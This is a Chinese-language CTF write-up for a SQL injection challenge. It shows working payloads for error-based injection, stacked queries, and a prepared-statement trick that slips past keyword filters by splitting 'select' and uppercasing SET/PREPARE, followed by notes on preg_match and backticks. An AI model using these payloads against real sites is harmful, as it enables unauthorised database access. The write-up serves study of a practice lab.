BUUCTF [強網杯2019] 隨便注
一、解題過程
開啟後的介面
先看一下頁面原始碼是否隱藏著什麼提示
結果發現什麼都沒有,嘗試提交
可以看到實際上是get提交,並且返回了陣列的列舉資訊
發現只有當inject=1或者2時才存在返回資訊。
老方法先嚐試新增一個單引號看看是否存在注入,結果發現有報錯資訊,是一個單引號的字元型注入。
因為存在返回資訊所以想著可能是個回顯注入,先檢視一共有幾列:
1' order by 2# 共2列
3' union select 1,2# 確認一下回顯位置,結果發現了正則過濾
可以看到圖中的preg_match函式,對select、update、delete等關鍵字進行了正則過濾,大小寫不敏感,無法使用大小寫進行繞過。但是可以發現這個過濾並不是很全,從前面的步驟中可以看到SQL語句的報錯資訊是可以返回到頁面中來的,所以也許能用報錯注入繞過這個函式的過濾。
1' and extractvalue(1, concat(0x7e,database(),0x7e))#
資料庫名被成功注出,叫做"supersqli",接著發現當前資料庫使用者是root。但接下來要注表名、列名和內容的時候避不開要使用select,沒見過preg_match並且不瞭解正則的我就卡在了這裡,結果完全忘記嘗試堆查詢。
看了其他師傅的wp發現原來堆查詢還可以這樣寫:
0';show databases;# 0';show tables;# 0';show columns from `1919810931114514`;# //注意:這裡表名要用反單引號`把表名括起來
隨後就在名為“1919810931114514”的表中看到了flag欄位~
PS:不過show columns只能看到列名無法看到內容
接下來這裡用到一個新的學習內容:SQL預處理語句
0';set @a=concat("sel","ect flag from `1919810931114514`");prepare hello from @a;execute hello;#
沒有成功,原因是set和prepare被strstr()過濾了,但是don't worry它是大小寫敏感的過濾函式,只需把過濾關鍵字大寫就OK。
0';SET @a=concat("sel","ect flag from `1919810931114514`");PREPARE hello from @a;execute hello;#
這樣flag就出來辣!
二、知識點
1、正則表示式
正則表示式是一種文字模式,包括普通字元(例如,a 到 z 之間的字母)和特殊字元(稱為“元字元”)。模式描述在搜尋文字時要匹配的一個或多個字串。
想要看懂正則表示式,就需要先了解正則表示式的語法。
正則表示式基本語法詳解_正則表示式_指令碼之家 (jb51.net)
2、preg_match()函式
(1)語法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
-
$pattern: 要搜尋的模式,字串形式。
-
$subject: 輸入字串。
-
$matches: 如果提供了引數matches,它將被填充為搜尋結果。 $matches[0]將包含完整模式匹配到的文字, $matches[1] 將包含第一個捕獲子組匹配到的文字,以此類推。
- $flags:可設定標記值
- $offset: 通常,搜尋會從目標字串的起始位置開始。可選引數 offset 用於指定從目標字串的某個位置開始搜尋(單位是位元組)。
- 返回值:返回 pattern 的匹配次數。 它的值將是 0 次(不匹配)或 1 次,因為 preg_match() 在第一次匹配後 將會停止搜尋。preg_match_all() 不同於此,它會一直搜尋subject 直到到達結尾。 如果發生錯誤preg_match()返回 FALSE。
(2)查詢字串
利用 preg_match(),我們可以完成字串的規則匹配。如果找到一個匹配,preg_match() 函式返回 1,否則返回 0。還有一個可選的第三引數可以讓你把匹配的部分存在一個數組中。
<?php //模式分隔符後的"i"標記這是一個大小寫不敏感的搜尋 if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "A match was found"; } else { echo "A match was not found"; } ?>
本題中顯示的preg_match的意思為,如果檢測到語句中有select或update或...\.等關鍵字、符號(大小寫不敏感)時,進行攔截。
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
(3)查詢單詞
<?php /* 模式中的\b標記一個單詞邊界,所以只有獨立的單詞"web"會被匹配,而不會匹配單詞的部分內容比如"webbing" 或 "cobweb" */ if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) { echo "A match was found.\n"; } else { echo "A match was not found\n"; } if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) { echo "查詢到匹配的字串。\n"; } else { echo "未發現匹配的字串。\n"; } ?>
(4)獲取url中的域名
<?php // 從URL中獲取主機名稱 preg_match('@^(?:http://)?([^/]+)@i',"http://www.codercto.com/index.html", $matches); $host = $matches[1]; // 獲取主機名稱的後面兩部分 preg_match('/[^.]+\.[^.]+$/', $host, $matches); echo "domain name is: {$matches[0]}\n"; ?>
3、SQL語句中的反單引號`
mysql中引號的用法(反引號``,單引號'',雙引號"") - 堅持一點點 - 部落格園 (cnblogs.com)
反引號:它是為了區分mysql的保留字與普通字元而引入的符號。也就是說如果要用mysql保留欄位做表名和欄位名的時候,必須加上反引號來區分,如:`select`
在解題的堆查詢注入中,查詢表中欄位名稱的語句一直無法正確執行(0';show columns from '1919810931114514';#),對照了一下別的師傅的wp,發現原來我用的是單引號,而師傅的是返單引號。但1919810931114514並不是mysql的保留欄位啊?
於是我查了一下mysql的表名是否可以是純數字。
這樣就清晰了。
4、SQL預處理語句
PREPARE:準備一條SQL語句,並分配給這條SQL語句一個名字供之後呼叫
EXECUTE :執行命令
DEALLOCATE PREPARE:釋放命令
用法:
PREPARE stmt_name FROM preparable_stmt EXECUTE stmt_name [USING @var_name [, @var_name] ...] {DEALLOCATE | DROP} PREPARE stmt_name
舉個栗子:
確實就像個函式一樣,prepare準備了一個函式的定義(是個大框架),set用來設定函式的引數值,execute傳參並執行函式。用完了要記得釋放:
deallocate prepare study;
也可以像本題目的wp一樣,set直接設定好整個SQL語句並將其賦值給變數如@a,prepare study from @a即可。
參考的文章: